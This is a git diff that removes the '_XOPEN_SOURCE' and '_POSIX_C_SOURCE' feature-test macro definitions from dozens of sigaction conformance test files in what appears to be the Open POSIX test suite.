diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-4.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-4.c
index 9ec7cfe..7e726fe 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-4.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-4.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-5.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-5.c
index 00113ac..52df3c3 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-5.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-5.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-6.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-6.c
index 98d0222..63b6516 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-6.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-6.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-7.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-7.c
index ed0f4a2..76a08d3 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-7.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-7.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-8.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-8.c
index 379a698..caf90e2 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-8.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-8.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-9.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-9.c
index 72ee420..6e9a271 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-9.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-9.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-1.c
index 0a93f26..ddf9c05 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-1.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-10.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-10.c
index 4aa25cd..c9baf00 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-10.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-10.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-11.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-11.c
index cbc3fc1..32568ec 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-11.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-11.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-12.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-12.c
index 7c7e4b9..5f90611 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-12.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-12.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-13.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-13.c
index ee2ef49..fda3c7a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-13.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-13.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-14.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-14.c
index c52785d..b9ae6bd 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-14.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-14.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-15.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-15.c
index 20f068a..f016d46 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-15.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-15.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-16.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-16.c
index 293bad2..cbd6aec 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-16.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-16.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-17.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-17.c
index 06e3161..2cdcbd7 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-17.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-17.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-18.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-18.c
index 091318c..05b85e9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-18.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-18.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-2.c
index a00cbb2..b2932c4 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-2.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-20.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-20.c
index 001b91a..97aa6e9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-20.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-20.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-21.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-21.c
index 759a8a8..7fd6928 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-21.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-21.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-22.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-22.c
index d3c71f0..22f232c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-22.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-22.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-23.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-23.c
index d5ed6c7..635e168 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-23.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-23.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-24.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-24.c
index 6d6044f..6b72977 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-24.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-24.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-25.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-25.c
index 1013e10..9f4b3b6 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-25.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-25.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-26.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-26.c
index b4f76a3..4d62f59 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-26.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-26.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-3.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-3.c
index 1f46c41..997e6c7 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-3.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-4.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-4.c
index 580b3bd..56f3c5a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-4.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-4.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-5.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-5.c
index 2bc5a2e..6349ed8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-5.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-5.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-6.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-6.c
index 6c0a9a0..fb2d343 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-6.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-6.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-7.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-7.c
index ead989b..ba5eca8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-7.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-7.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-8.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-8.c
index a23f401..42d2420 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-8.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-8.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-9.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-9.c
index 9a1458f..af43039 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-9.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-9.c
@@ -27,8 +27,6 @@
 * The test fails if signal handler if reentered or signal is not pending when raised again.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-1.c
index 19f804a..5a3f7a9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-1.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-10.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-10.c
index b0105c1..23f8462 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-10.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-10.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-11.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-11.c
index 08ca874..f532620 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-11.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-11.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-12.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-12.c
index 49f3e6e..8465088 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-12.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-12.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-13.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-13.c
index 803e99d..9c0d0a8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-13.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-13.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-14.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-14.c
index 0f08ca2..fc7480b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-14.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-14.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-15.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-15.c
index 3f0e3d0..33b20e2 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-15.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-15.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-16.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-16.c
index 46a3250..2cdbfed 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-16.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-16.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-17.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-17.c
index 2154fc9..0c49582 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-17.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-17.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-18.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-18.c
index 0dc759d..b88365b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-18.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-18.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-19.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-19.c
index 59af105..887a2ed 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-19.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-19.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-2.c
index 44b1e36..475c323 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-2.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-20.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-20.c
index 2bc3cf4..2f00f4a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-20.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-20.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-21.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-21.c
index 2ca1977..70e1c5c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-21.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-21.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-22.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-22.c
index 94a3424..1a01f1f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-22.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-22.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-23.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-23.c
index 8f46f4b..3d76edb 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-23.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-23.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-24.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-24.c
index 43cd1c7..8e35851 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-24.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-24.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-25.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-25.c
index f89bb09..25f72c6 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-25.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-25.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-26.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-26.c
index 49b0cde..44f42a0 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-26.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-26.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-3.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-3.c
index 56551b3..aad71c1 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-3.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-4.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-4.c
index 3eb2c9f..3389fa9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-4.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-4.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
